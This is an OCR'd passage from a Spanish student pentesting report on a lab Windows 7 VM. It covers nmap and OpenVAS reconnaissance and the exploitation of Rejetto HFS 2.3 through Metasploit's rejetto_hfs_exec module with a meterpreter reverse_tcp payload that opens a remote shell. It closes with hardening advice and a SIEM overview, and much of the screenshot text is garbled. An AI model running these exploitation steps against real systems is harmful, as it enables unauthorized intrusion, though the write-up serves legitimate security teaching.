Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <hostl[,host2][,host3], ... >: Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file

HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online —— skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servl[,serv2], ...>: Specify custom DNS servers
—system-dns: Use 0S's DNS resolver
—traceroute: Trace hop path to each host

SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
—scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan

Fuente: Propia

Ya una vez se tenga herramienta actualizada se procede con el comando nmap —
sn 192.168.0.13

Figura 22. Comando Nmap —sn 192.168.0.13

Slomap BSW 192.168.0.13
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 17:41 -05
Nmap scan report for 192.168.0.13

Host is up (0.00054s latency).
Nmap done: 1 IP address (1 host up) scanned in 2.60 seconds

Fuente: Propia

El resultado que nos da el comando nos informa que el host esta arriba y responde
positivamente, lo que nos indica que debemos realizar mas comandos para saber
mas informacién del host o la maquina atacada.
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Se realiza el siguiente comando nmap -PR 192.168.0.13 para observar un poco mas
a fondo la maquina.

Figura 23. Comando Nmap -PR 192.168.0.13

—$ [
Starting Nmap 7.91 ( https:
Nmap scan ort for 2.168
Host is up
Not shown:

STATE SERVICE

tcp open mMsrpc

open i

open

open

open

open

open

open

open

open

open

open

open unknown

done: 1 IP address (1 host up) scanned in 1.49 seconds

Fuente: Propia

Lo que nos indica que 13 puertos estan abiertos lo que significa que tiene
vulnerabilidades que se pueden aprovechar o disponibles para ser atacados.
Se verifica esa informacién con el siguiente comando nmap —open 192.168.0.13

Figura 24. Comando Nmap —open 192.168.0.13
s ~
nmap |

Starti Nmap 7.91 (
Nmap scan report for
Host is up (

Not shown:

PORT

open netb

open microsoft-

open 1

open

open

open unknown

open unknown

open unknown

open unknown

open unknown

open unknown
49158/tcp open unknown
MAC Address: @8: :D6:08:B4 (Oracle VirtuwalBox wirtwal NIC)

Nmap dome: 1 IP address (1 host up) scanned in 1.58 seconds

Fuente: Propia
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Como se observa hasta hora se tiene informacién basica de los puertos que estan
abiertos, se procede a dar un paso mas con un escaneo mas agresivo como lo
indica nmap con el siguiente comando nmap — A 192.168.0.13

Figura 25. Comando Nmap — A 192.168.0.13

g: Abou 5 done; ETC
sed; @ hosts completed (1

About 50. done; ETC: 21:31 ( 6 remaining
), 1 undergoing

done; ETC:
Nmap
Host is up (0@ 77
Not shown: 986 clos
PORT STATE 5 VERSION
80@/tcp : r httpd

msrpc Microsoft Windows RPC
open netbios-ssn M osoft Windows netbios-ssn
open microsoft-ds Windows 7 Professional 7600 microsoft-ds (
: WORKGROUP)

osoft HTTPAPI : SDP/UPNP)
osoft HTTPAPI (SSDP/UPNP)
r: Microsoft-HTTPAPL/
ilable

Fuente: Propia

Figura 26. Comando Nmap — A 192.168.0.13

osoft HTTPAPI t DP/UPNP)
: Microsoft-HTTPAPI
Found
msrpc
msrpc

msTpc

ft Windows
icrosoft:

cpe:/o:microsoft:
: Microsoft Windows 7
dows Server 2008 R2, Windows 8, or
1 hop
Host: FAMILIA-PC; 0S: Windows; CPE: cpe:/o:microsoft:wind

| _clo s : 1h39m45s, deviation: median
|_nbstat: NetBIOS name: FAM £ H inknow
C :d6 b4 (01 i al virtual NIC)

Vindows 7 Professional 6.1)
-:professional

Fuente: Propia
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Figura 27. Comando Nmap — A 192.168.0.13

FAMILIA-P
a8

response: supported
i disabled (dangerous, but default)

TRACEROUTE
HOP RTT ADDRES
il @.77 ms 192

ion performed. Please report any incorrect resul
ubmit/
(1 host up) scanned in 185.91 seconds

Fuente: Propia

Como se observa con este comando el resultado es mucho mas completo en donde
se puede ver diferentes caracteristicas de la maquina que se esta atacando como
se observa en la siguiente figura:

Figura 28. Caracteristicas Maquina Atacada

= root @ kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

Host script results:
| _clock-skew: mean: 1h39m45s, deviation: 2h53ml2s, median: -14s
|_nbstat: NetBIOS nmame: FAMILIA-PC, NetBIOS user: <unknown>, NetBIOS
C: @8:00:27:d6:08:b4 (Oracle VirtualBox virtual NIC)
smb-os-discovery:

0S: Windows 7 Professional 7600 (Windows 7 Professional 6.1)

0S CPE: cpe:/o:microsoft:windows_7::-:professional

Computer name: familia-PC

NetBIOS computer name: FAMILIA-PC\x00

Workgroup: WORKGROUP\x0@

System time: 2021-99-21T21:31:48-05:00
smb-security-mode:

account_used: <blank>

authentication_lewvel: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
smb2-security-mode:

2.02:

Message signing enabled but not reguired

smb2-time:

date: 2021-89-22T@2:31:49

start_date: 2021-89-22T00:39:46

Fuente: Propia
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La informacion que observamos es:

e Nombre del PC FAMILIA-PC
e Usuario: Desconocido.

e Su MAC 08:00:27:d6:08:b4 que esta virtualizada en Virtual Box
e Sistema operativo Windows 7 profesional en su version 6.1

e Grupo de red WORKGROUP\x00

e Usuario o cuenta blanca

¢ Nivel de autenticacion es de usuario

Con el comando nmap -v 192.168.0.13 se hace un escaneo a los servicios de esos
puertos para tener mas informacion sobre ellos.

Figura 29. Comando Nmap -v 192.168.0.13

i root @kali-Alex: ~

Archivo Acciones Editar Vista Ayuda

L] ~
nmap BW 192.168.0.13

F MNmap 7.91
g ARP Pin

17, ©8.82s elapsed (1 total hosts)
olution of 1 host
resolution of 1 host.

Disc [ ort /tcp on
Disc o rt /tcp on

psed (1000 total ports)

Nmap sca
Host is up
Not shown:
PORT
8@/tcp

Fuente: Propia
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Figura 30. Comando Nmap -v 192.168.0.13

i root@kali-Alex: ~

Archivo Acciones Editar Vista Ayuda
! 192.168.0.1

Disc

Compl 1t ; .27 sed (1000 total ports)
Nmap sca

Host is up

Not shown:

open
open msrpc
open netbios-ssn
open microsoft-ds
open
open
open
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
cp open
MAC Address: @8

Read data files ' e/nmap
Nmap done: 1 IP a e [ L C d in 1.42 seconds
(B) Rcvd: 1001 (40.084KB)

Fuente: Propia

Gracias a la ayuda de la herramienta nmap tenemos informacion que es muy
importante para iniciar con los diferentes ataques y verificar la informacion para ellos
vamos a tomar parte de la informacién y se utilizara en otra herramienta que es en
este caso Openvas como lo podemos observar en la imagen siguiente en donde se
inicia con la actualizacion del sistema operativo Kali Linux ya que debe estar con
todas las actualizaciones o paquetes para eso se debe utilizar el comando apt
update.

Fuente: Propia

Seguido del comando apt upgrade.
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Figura 32. Comando Apt Upgrade

1 cion ... Hecho
iquetes indicados a continuwacion se instalaron de forma automatica
no son ne ios.
tsetup-run at-fuse gst erl.@-pul
bidn11l libntfs

, © para elimipar y @ no actualiz

Fuente: Propia

Ya lista esa parte se puede realizar la instalacion de la herramienta Openvas con el
comando apt install openvas.

Figura 33. Comando Apt Install Openvas

Fuente: Propia

Una vez instalados todos los paguetes necesarios se inicia la configuracion de la
herramienta con el comando gvm-setup para realizar este comando se debe tener
tiempo disponible porque esa configuracion tarda mas de tres horas eso depende
de varias cosas como lo son la maquina y el internet que se tenga.

Figura 34. Comando Gvm-Setup

Fuente: Propia
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Una vez se tenga el servicio corriendo, una vez acabe la configuracion se debe
tomar nota del usuario y contrasefa que se asigna para el ingreso del programa que
es una herramienta web https://127.0.0.1:9392/login que tiene salida por el puerto
9392 como se observa a continuacion.

Figura 35. Herramienta web https://127.0.0.1:9392/login
Greel tyAssi X+

& c @
o Kali Linux ¥ Kali Training ¥ Kali Tools ¢

Greenbone
Securif ity Assistant

Sign in to your account
Username

Password

Powered by
e et 0 Greenbone Se

Fuente: Propia

Se ingresa con las credenciales que dio el sistema al terminar.

Figura 36. Login

dolas

=

Greenbone

Security Assistant

Sign in to your account

Username

admin

Password

Powered by
Croonhnns

Greenbone Security Assistan

Fuente: Propia

Una vez ingresamos a la herramienta se procede a realizar el andlisis de las
vulnerabilidades.
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Figura 37. Tarea en Openvas

womn
— [ — e —— &
(@ S S S 1.2 02
e

@
4B My Setiings
[[I]l Dashboards Brimon

Overview [¥

oo
Tasks by severity class Toia 0

Fuente: Propia

Para iniciar con el analisis de las vulnerabilidades se debe hacer a través de su
menu tareas.

Figura 38. Tarea en Openvas

L2/ Tasks 0 of wuinerssiiies oo
Notes
overnass |

Tasks b

Fuente: Propia

Se realiza click en el asistente de tareas.

. Aasets Restience secinta Adwinistration Help
@ Filter - v
13 Advanced Task wizard

[T o

Tasks by Severity Class (Total: 0) Tasks with most High Results per Host Tasks by Status (Total: 0)

Fuente: Propia

Y es aca donde se coloca la direccion o el rango de direcciones que se quiere
realizar el analisis de las vulnerabilidades para este caso es la direccion
192.168.0.13.
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Figura 40. Direccion IE
Quick start: Immediately scan an IP address
IP address or hostname: | 192.168.0.13] ]
The default address is either your computer or your network gateway.
As a short-cut the following steps will be done for you:

1. Create a new Target
2. Create a new Task
3. Start this scan task right away

As soon as the scan progress is beyond 1%, you can already jump to the scan report by clicking on the progress
bar in the "Status” column and review the results collected so far.

The Target and Task will be created using the defaults as configured in "My Settings".

By clicking the New Task icon [} you can create a new Task yourself.

==,

7
Fuente: Propia

Se hace click en iniciar, como se puede ver la herramienta inicia a realizar la tarea
se debe tener paciencia ya que se puede demorar un poco, pero se pude ir viendo
su avance en la barra de estado en la parte inferior.

Figura 41. Esperar Proceso

Onshbaards Seans  Asen e

. . Resisence Secinto ntiguratian Administration Help
Tazks b Class (Total: 1) Tasks with most High Results per Host Tasks by Status (Total: 1)

=] T
O

Name & status

immediate scan of IP 192.168.0.13 o
Apply to page contents v | <3 ]
Fuente: Propia
Se observa su avance:
Figura 42. Observar Avance
Name & Status Reports  Last Report Severity Trend Actions
Immediate scan of IP 192.168.0.13 T Ol T <

| Apply to page contents v | ] (2
Running [
eenbo s

stant (GSA) Copyright (C) 2009-2021 by Greenbone Networks GmbH, wur ne.ne

tps: 9
Fuente: Propia

Una vez se termina de realizar el analisis de vulnerabilidades la herramienta nos
ofrece varias formas de ver el resultado como lo podemos ver de manera web o si
gueremos descargar el reporte se puede exportar.

36



Figura 43. Reporte

0 1-1ofl
Name & Status Reports Last Report Severity Trend Actions
Immediate scan of IP 192.168,0.13 [ Done |1 Wed, Sep 22, 2021 1:23 AM UTC BoOrear

Apply to page contents ¥ |y {fj [
Fuente: Propia

Se hace click en donde nos informa la fecha y la hora para ver el informe.

Figura 44. Reporte

@:epnr 1v_vced. Sep 22, 2021 1:23 AM U

Information Results Hosts Ports Applications Operating Systems CVEs Closed CVEs TLS Certificates Error Messages User Tags
(@ or 401 ) tor7) 2o oty @ors o4y w0 oro) o) @

TaskName  Immediate scan of IP 192.168.0.13
Wed, Sep 22, 2021 1:33 AM UTC - Wed, Sep 22, 2021 2:09 AM UTC

Filter apply_overrides=0 levels=hml min_god=70
Timezone  Coordinated Universal Time (UTC)

Fuente: Propia

Y como se puede evidenciar encontré 40 vulnerabilidades como lo podemos
observar en la pestafia de resultados que nos presenta los 9 primeros de 40 en las
hojas siguientes podemos ver con mayor detalle.

Figura 45. Reporte
Report:Wed, Sep 22, 2021 1:23 AM UTC s

Information Results Hosts Ports Applications Operating Systems CVEs Closed CVEs TLS Certificates Error Messages  User Tags
Worde) Qo Gon  @erzl Doty dora)  Wore) woro) wore ©

1-90r9
vl W severity v qeo MM Created
" Hame
& SN Wed, Sep 22, 2021 1:42 AMUTC
& W Wed, Sep 22,7021 1:52 AM UTC
& T Wied, Sep 22,2021 202 AMUTE
& T Wed, Sep 22, 2021 202 AM UTC
& T W, 560 22,2021 152 A4 UTC
& . Wed, Sep 22, 2021 1:53 AM UTC
= . o Wied, Sep 22,2021 1:56 AMUTC
@ i} * ! Wied, Sep 22, 2021 1:61 AM UTE
%SNS 0% 192168013 geveraiiep Wed, Sep 22, 2021 1:42 AM UTC

1-90r8)

Fuente: Propia

La herramienta nos indica de las vulnerabilidades como su severidad con una
calificacion de 1 a 10 donde 10 es alta y en color naranja oscuro como esta en la
Figura.
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4.1 ¢QUE PUERTO ABRE LA APLICACION O EL EXPLOIT EN LA MAQUINA
ESPECIFICA?

Para verificar las vulnerabilidades que tenia la maquina atacada se utilizo la
herramienta anteriormente citada openvas, dando como resultado en su informe
gue se evidencio que el exploit rejetto v. 2.3 abrié el puerto 80 para realizar la
conexion remota y explotar su vulnerabilidad como se puede evidenciar en la
siguiente figura.

Figura 46. Puerto 80
HTTP Fl Serves Remate Command Becuton Wersbity02an L6 O i) TRV biliol e Sep 22, 201 12N TC
Fuente: Propia

Esto fue analizado gracias a que la informacion no fue proporcionada a tiempo
realizando un andlisis antes del exploit rejetto v. 2.3 como se observé al momento
de hacer las verificaciones de la maquina atacada al, porque se realiza la primera
fase del pentesting que es la de recoleccién de informacion, observando que la
instalacion del sistema operativo Windows 7 64 bits que en este caso la maquina
tiene como nombre de pc FAMILIA-PC estaba en limpio y al utilizar la herramienta
nmap con el comando nmap -PR 192.168.0.13 se observa que tenia unos puertos
abiertos pero entre ellos no esta el puerto 80 como se puede ver en la siguiente
Figura.

Figura 47. Comando Nmap -PR 192.168.0.13
s T
Starting Nmap 7.91 ( https map.org ) at 2021-89-16 17:48 -@5
Nmap scan report for 2. 3
Host is up ( ;
Not shown: 9 osed ports

STATE SERVICE

open MSrpc

open netblos-ssn

open microsoft-ds

open Trtsp

open icslap

open wsdapi

open unknown

open unknown

open unknown

open unknown

open unknown

open unknown

open unknown

: 1 IP address (1 host up) scanned in 1.49 seconds

Fuente: Propia
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Dando como resultado a este analisis que el exploit realizo su instalacion con éxito
y realizando la apertura del puerto 80, ademas de observar mas informacion gracias
a las demas funciones del exploit, como lo es la instalacion de meterpreter.

4.2 EVIDENCIAS PARA EXPLOTAR LA VULNERABILIDAD EN LA MAQUINA
WINDOWS

Primero se debe de realizar la actualizacion del sistema operativo Kali Linux y eso
se debe realizar con privilegios de administrador root con el comando apt update se
espera que se realice y se compafa con el comando apt upgrade se espera a que
se actualicen los paquetes como lo podemos ver en la Figura y listo se puede iniciar.

a eliminar y @ no actualizados.

Fuente: Propia

Para explotar la vulnerabilidad se necesita de la herramienta Metasploit y para ello
vamos a abrirla en una consola o terminal como lo vemos a continuacion.

Figura 49. Metasploit V6.1.6

=[ metasploit v6.1.6 \
+ — —=[ 2165 exploits - 11h8 auxlllaxy - 368 post
+ — -——=[ 592 payloads - 45 encoders - 10 nops
+ — —=[ 8 evasion

Metasploit tip: Tired of settlng RHOSTS for modules? Try
globally setting it with HOSTS X.X.X.

Fuente: Propia

Como se observa Metasploit esta en su version 6.1.6 se abrié sin problemas.
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Se verifica los comandos para poder realizar nuestra explotacion de la
vulnerabilidad con el comando help podemos ver la ayuda de los comandos del
mismo.
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Figura 50. Comando Help

msfé > help

ommands

Command Description

Help menu
i sploit banner
ng directory

ith a host
ion useful for debugging

onnnow

ed features that can
fic variable

the output

menu

mmand history

console
list of command

Fuente: Propia

Se puede realizar busqueda de diferentes formas asi que en este caso vamos a
realizar la busqueda de la vulnerabilidad por nombre con el comando search rejetto
2.3 como lo podemos observar en la Figura.

Figura 51, Comando Search Rejetto 2.3

msf6 > search rejetto
Matching Modules

Name Disclosure Date
Description

[ Loit/wind: tp/rejetta_hfs
Rejetto HttpFile! r Remote C

with a module by name or ind or mple
) L : Fa )

Fuente: Propia

Donde como vemos el resultado es positivo nos arroja que es uno de sus modulos.

Para lo cual usaremos el comando use 0
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Figura 52. Comando Use 0

msfe >

configured, defaulting to windo

) > options

Fuente: Propia

Como se puede observar ya estamos en el modulo de exploit
(Windows/http/rejetto_hfs_exec) y para observar sus opciones colocamos la palabra
options dandonos como resultado lo siguiente.

Figura 53. Comando options

- Terminalnre.1

Archivo Acciones Editar Vista Ayuda

msfé exploit( ) > options
Module options ( loit/windows/htt

Name

HTTPDELAY

Proxies

RHOSTS

RPORT
SRVHOST

sten on. This must b
s on the local machin

SRVPORT
L

S5LCert
TARGETURI
URIPATH

e random)
VHOST [ erver virtual host

Fuente: Propia

Como se observa nos indica las diferentes cosas que se puede hacer con este
mddulo e indicAndonos que el puerto 80 esta abierto con su protocolo tcp.
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Figura 54. Comando options

Fuente: Propia

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Reqguired Description

EXITFUNC process ye Exit technique (Accepted: '', seh,
th rocess, non
LHOST 192.168.0@.7 ye te ddress (an interface ma

y be specified)
LPORT 4444 ye The listen port
Exploit target:
Id Name

Automatic

En esta imagen se puede evidencia que la maquina que es la atacante o0 sea nuestro
Kali Linux esta es cuchando con el nombre de LHOST 192.168.0.7 por su puerto
4444 por defecto dsea que ya estamos listos para explotar la vulnerabilidad.

Se verifica esa informacion con el comando Ifconfig dandonos como resultado lo
descrito anteriormente como se ve en la Figura.

Figura 55. Comando Ifconfig

Fuente: Propia

& Terminalnro.1

Archivo Acciones Editar Vista Ayuda

msf6 exploit( ) > ifconfig
exec: ifconfig

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
1FCPIUEINA netmask 255.255.255.0 broadcast 192.168.0.255
inet6 2800:484:7186:bd0:d187:69ae:259d:7b19 prefixlen 64 scopeid 0x
0<global>
inet6 fe80::a00:27ff:felc:2d09 prefixlen 64 scopeid 0x20<link>
inet6 2800:484:7186:bd0:a00:27ff:felc:2d09 prefixlen 64 scopeid 0x0
<global>
ether 08:00:27:1c:2d:09 txqueuelen 1000 (Ethernet)

RX packets 226418 bytes 310613945 (296.2 MiB)

RX errors ©® dropped @ overruns @ frame 0

TX packets 88501 bytes 7365286 (7.0 MiB)

TX errors @ dropped © overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 177894 bytes 28453909 (27.1 MiB)
RX errors © dropped @ overruns @ frame 0
TX packets 177894 bytes 28453909 (27.1 MiB)
TX errors @ dropped ©® overruns @ carrier @ collisions 0

Para tomar el control remoto de la maquina atacada como ya se ejecuto el programa
o el exploit rejetto 2.3 solo se debe hacer la conexion con el comando set rhosts
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192.168.0.13 que es la direccidon de la maquina que se esta atacando y su resultado
lo podemos ver a continuacion.

Figura 56. Comando Set Rhosts 192.168.0.13

) » set rhosts 192.168.0.13

Fuente: Propia

Para verificar eso nuevamente usamos el comando options dandonos como
resultado lo siguiente.

Figura 57. Comando Options
Archivo Acciones Editar

Vista Ayuda

msf6 exploit( ) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

HTTPDELAY 10 no Seconds to wait before terminating
web server

A proxy chain of format type:host:
port[,type:host:port][ ...]

The target host(s), see https://gi
thub.com/rapid7/metasploit-framewo
rk/wiki/Using-Metasploit

The target port (TCP)

The local host or network interfac
e to listen on. This must be an ad
dress on the local machine or 0.0.

0.0 to listen on all addresses.

Proxies no

192.168.0.13

SRVPORT
SSL

SSLCert

TARGETURI /
URIPATH

VHOST

The local port to listen on.
Negotiate SSL/TLS for outgoing con
nections

Path to a custom SSL certificate (
default is randomly generated)

The path of the web application
The URI to use for this exploit (d
efault is random)

HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Fuente: Propia

Name

Current Setting

Required

EXITFUNC process yes

LHOST 192.168.0.7 yes

LPORT 4444

Description

Exit technique (Accepted: '’
thread, process, none)

The listen address (an interface ma
y be specified)

The listen port

, seh,

Como se puede ver en la Figura anterior ya se esta conectado a la maquina atacada,
y como nosotros estamos listos escuchando para ejecutar o explotar la
vulnerabilidad.
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Con el comando run eso es posible como se evidencia a continuacion.

Figura 58. Comando Run
* Terminalnre.1

Archivo Acciones Editar Vista Ayuda
msf6 exploit(

nn result
68.0.7: 192.168.0.13:49211) at

Fuente: Propia

Dando inicio a meterpreter para realizar o verificar la informacion o las diferentes
caracteristicas de la maquina atacada.

Para verificar los directorios o archivos de la maquina atacada con el comando
Is se puede ver lo siguiente.

modified Name
-09-23 19:54:27 -0 %TEMP%

5/T-Xr-%r ir -@9-21 19:53:87 -@ DarkCometRAT531

66/ TW-TW- L 7 fi g9-2 9:53 @ DarkComet_123456.

'TW-TW- 5 556 Fil 2 9:53:087 -0 Rejjeto_
/Tw-rw- 282 1 8-26 01:20:3 @ desktop.ini

F 7/ TWXTWX

Fuente: Propia

Se puede usar todos los comandos que se utilizan en Windows como un usuario
normal como por ejemplo el comando system.
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Figura 59. Comando system

r > sysinfo
FAMILIA-PC

: Windows 7 (6.1 Build 7¢

hitecture

System Language
Domain

Logged On Users
Meterpreter

Fuente: Propia

Se verifica la informacion con la maquina atacada y se observa que es

correspondiente.

Figura 60. Maquina Atacada

es_CO0

: WORKGROUP

‘windows

[= ][ = sl

@ka <« Todos los elementos de Panel de control » Sisterma - | 3 | | Buscaren el Panel de control 0 l

Ventana principal del Panel de
control
'E‘;' Administrador de dispositivos

'E‘;' Configuracion de Acceso
remoto

'E‘;' Proteccion del sistema

'E‘;' Configuracién avanzada del
sisterna

Vea también
Centro de actividades
Windows Update

Infermacion y herramientas de
rendimiento

Fuente: Propia

Windows 7 Professional -

Copyright © 2009 Microsoft Corporation. Reservados
todos los derechos,

Obtener mas caracteristicas con una nueva edicidn de
Windows 7

Sisterna
Evaluacion: _'_Illl' Evaluacion de |a experiencia en Windows
Procesador: Intel(R) Core(TM) i3-4130 CPU @ 3.40GHz 339 GHz E
Memoria instalada (RAM): 3,00 GB
Tipo de sistema: Sistema operativo de 64 bits
Lapiz y entrada tactil: La entrada tactil o manuscrita no esta disponible para

esta pantalla

Configuracién de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo: familia-PC 'E‘:;'Camlsiar
Nombre completo de familia-PC cenfiguracién
equipo:

Descripcidn del equipo:

Grupo de trabajo: WORKGROUP

Para realizar el escalamiento de privilegios se debe hacer una serie de
procedimientos para ello se verifica si ya se tiene los privilegios de administrador de
la maquina atacada y se utiliza el comando getuid dando como resultado lo

siguiente.
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Figura 61. Comando Getuid
meterpreter > getuld

Server username: familia-PC\familia 2
Fuente: Propia

Lo que significa que no es el usuario administrador con los privilegios para realizar
mMas cosas que un usuario normal
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5 EL ENDURECIMIENTO DE LA MAQUINA PARA QUE EL ATAQUE NO SE
VUELVA A PRESENTAR

Para mitigar el ataque se debe hacer la correccion de los problemas que tiene la
maquina atacada con las siguientes sugerencias o recomendaciones, esto segun
se pueda realizar las diferentes actividades o buenas practicas, porque eso tiene
mucho que ver con las condiciones que se tengan a disposicidén en la empresa que
se va a realizar la consulta:

e Se recomienda el realizar un borrado de todo el sistema operativo y hacer una
actualizacion a un sistema operativo actual como Windows 11 si es posible y la
maquina lo soporta, pero si no es posible el realizar esto por falta de presupuesto
como lo indica el a nexo 5 escenario 4, se procede a realizar estos
procedimientos.

e Activacion del sistema operativo porque no esta licenciado como se observa en
la figura.

Figura 62. Activacion de Windows 7-64bits

& Activar Windows

Activar Windows ahora

El periodo de activacion expiro.

< Activar ahora

= Preguntarme mas tarde

0xCO04F009

Cancelar

Fuente: Propia

Como se observa esta es una vulnerabilidad muy alta ya que por esa razén el
sistema operativo no tiene instaladas las ultimas actualizaciones del mismo,
seguridad, estabilidad, confiabilidad, integridad, para arreglar esas fallas que vienen
con el sistema operativo y que a lo largo del tiempo el fabricante las lanza para
arreglarlas.
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Figura 63. Activacion de Windows 7-64bits

! Entrega de actualizacicnes opcionales no funciona @

i Puede ser victima de una falsificacion de
N
software.

Para usar todas las caracteristicas de Microsoft
Windows®, como todas las actualizaciones de
Windows Update, obtener las dltimas actualizaciones y
recibir soporte técnico, debe validar que la copia de
Microsoft Windows® sea original.

Conectarse y solucionar ahora

Cerrar

Fuente: Propia

Se debe desinstalar los programas que no sean necesarios para el trabajo que
realice o utilice este pc, si se puede el aislar esta de internet.

Figura 64. Desinstalar Programas

@th’j < Todos los element.. » Programas y caracteristicas - | &,| ‘ Buscar Programas y caracteristicas P

Ventana principal del Panel de

control Desinstalar o cambiar un programa

Para desinstalar un programa, seleccidnele en la lista y después haga clic en

Ver actualizaciones instaladas - .
Desinstalar, Cambiar o Reparar.

H) Activar o desactivar las

caracteristicas de Windows -
Organizar + == v @
MNembre ° Editor
€ Google Chrome Google LLC

Fuente: Propia

¢ Instalar todas las actualizaciones disponibles del sistema operativo hasta enero
de 2020 que fue que se realizd soporte para el mismo esto debido a que ya el
sistema operativo que quedo obsoleto segun lo indico su fabricante.
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[ J
Figura 65. Actualizacion Sistema Operativo Windows 7-64 Bits

=N Eol =
@uvl | <« Todos los elementos de Pane... » Windows Update - ‘ 44 | | Buscar en el Panel de control ol
(7]

Ventana principal del Panel de
control

Windows Update

Buscar actualizaciones

Cambiar configuracion ‘“] Buscar actualizaciones para el equipo
\_/' Instale siempre las actualizaciones més recientes para
- mejorar |a seguridad y el rendimiento del equipo.
Restaurar actualizaciones

ocultas Buscar actualizaciones

Actualizaciones: preguntas
mas frecuentes

Ver historial de actualizaciones

Biisqueda mads reciente de actualizacionest  Nunca
Se instalaron las actualizaciones: Nunca
Recibe actualizaciones: Sélo para Windows

Obtener actualizaciones para otros productos de Micresoft, Mds informacién

Fuente: Propia

e Instalar todos los controladores que hagan falta de la maquina como se observa
en la figura.

Figura 66. Drivers Windows 7-64Bits
a4 familia-PC
b &, Adaptadores de pantalla
- ¥ Adaptadores de red
b % Baterias
> g Controladoras ATA/ATAPIIDE
4. ¢ Controladoras de bus serie universal

i i Concentrador raiz USB
: ¥ Controladora de host USE OpenHCD estandar
L ¥, Dispositivo de almacenamiento USB
b -4 Controladeras de sonide y video y dispositivos de juego
b 'JwJ Dispositivos de interfaz de usuario (HID)
> 48 Dispositivos del sistema

b /M Equipo
» A Monitores
b }3 Mouse y otros dispositivos sefialadores
A@ Otros dispositivos
e i Dispositivo base del sistema
b D Procesadores
b & Teclados
-+ Unidades de disco
> \__W Unidades de DVD o CD-ROM

Fuente: Propia

¢ Instalar antivirus licenciado o con licencia de pago de diferentes marcas si es
posible, pero si no se dispone de dinero para ello utilizar los que son gratuitos
en el mercado se puede encontrar varios como, por ejemplo: Se debe instalar
un antivirus a si sea una de licencia gratis, no interesando la marca, pero el pc
debe tener instalo un antivirus como lo muestra la figura.
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Figura 67. Instalar Antivirus

Wy

.
vast Ocultar

Instalando
Avast Free Antivirus...

No apague el equipo

% . P
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Fuente: Propia

e Activar firewall de Windows 7-64bits

Figura 68. Activar Firewall Windows
(E=8F=R 0
@T_j-ﬁi« Firewall de Windows » Persanalizar configuracian « [ 4 |[ Buscar en et Panel de controt o

Personalizar la configuracion de cada tipo de red
Puede modificar la configuracion del firewall para cada tipo de ubicacion de red que use.
;Qué son las ubicaciones de red?
Configuracion de ubicacion de red doméstica o del trabajo (privada)
l@ @ Activar Firewall de Windows
[7] Bloquear todas las conexiones entrantes, incluidas las de |z lista de programas permitidos

Notificarme cuanda Firewall de Windows bloquee un nuevo programa
@ () Desactivar Firewall de Windows (no recemendado)

Configuracién de ubicacién de red piblica
@ @) Activar Firewall de Windows
[] Bloquear todas las conexiones entrantes, incluidas las de |a lista de programas permitidos

Notificarme cuando Firewall de Windows bloquee un nuevo programa

@ () Desactivar Firewall de Windows (no recomendado)

Fuente: Propia

La maquina debe estar dentro del dominio de seguridad de la empresa.

Se debe hacer uso de una VPN, para la conexion segura de la maquina.

Se debe desactivar los puertos USB fisicos

Se debe realizar una capacitacion a los empleados de la empresa en donde se
les explique los riesgos de abrir correos de personas extrafias que no estén
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relacionadas con el trabajo, que no deben abrir los archivos adjuntos de los
mismos, capacitarlos en las buenas practicas para mitigar este tipo de ataques.
o Fortalecer el firewall I6gico como el fisico de la empresa, actualizando las reglas
de los programas permitidos por medio de listas blancas y listas negras.
e Instalar todos los framework que necesite el sistema operativo.

Figura 69. Instalar Framework

ﬁ Programa de instalacion de Microsoft NET Framework 4 EI =] @
Progreso de la instalacidgn N
Espere mientras se instala .NET Framework. Micrasoft
NET

Proareso de la descarga:

Descargando Windowsé. 1-KB358488-v600 1-x64. msu

Progreso de la instalacion:

Instalando componentes necesarios para .MET Framework

Cancelar

Fuente: Propia
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6 EXPLIQUE Y REDACTE LAS FUNCIONES Y CARACTERISTICAS
PRINCIPALES DE LO QUE ES UN SIEM.

Un SIEM es el acronimo que nace de la gestion de eventos de seguridad (SEM)
mas gestion de informacion de seguridad (SIM), quedando como resultado o
reunidos gestion de eventos e informacion de seguridad (SIEM) esto debido a la
necesidad de optimizar los tiempos de analisis de los datos obtenidos y poder
enfocarse en el area especifica debido a la falta de personal en las areas it, que es
algo habitual, pero que se debia realizar porque no sirve de nada los grandes
volimenes de informacion respecto a los eventos de seguridad si los datos no son
analizados e interpretados para direccionar al grupo de respuesta, esto es lo que
hace que esta herramienta sea muy Util para observar, determinar cuales son los
riesgos que se pueden manejar como otros que se deben priorizar y mitigar de
manera prioritaria.

Las caracteristicas de este software o herramienta son:

e Agrupar o reunir, centralizar el monitoreo de posibles amenazas.

e Catalogar o clasificar cuales amenazas son mas importantes a la hora de
solucionar o si las amenazas son un falso positivo.

e Esta herramienta ayuda a la asignacion de las amenazas a los mejores analistas
previamente cargados en el sistema para que su respuesta sea mas rapida.

e Gracias a que el sistema proporciona o tiene una base de datos o un historial de
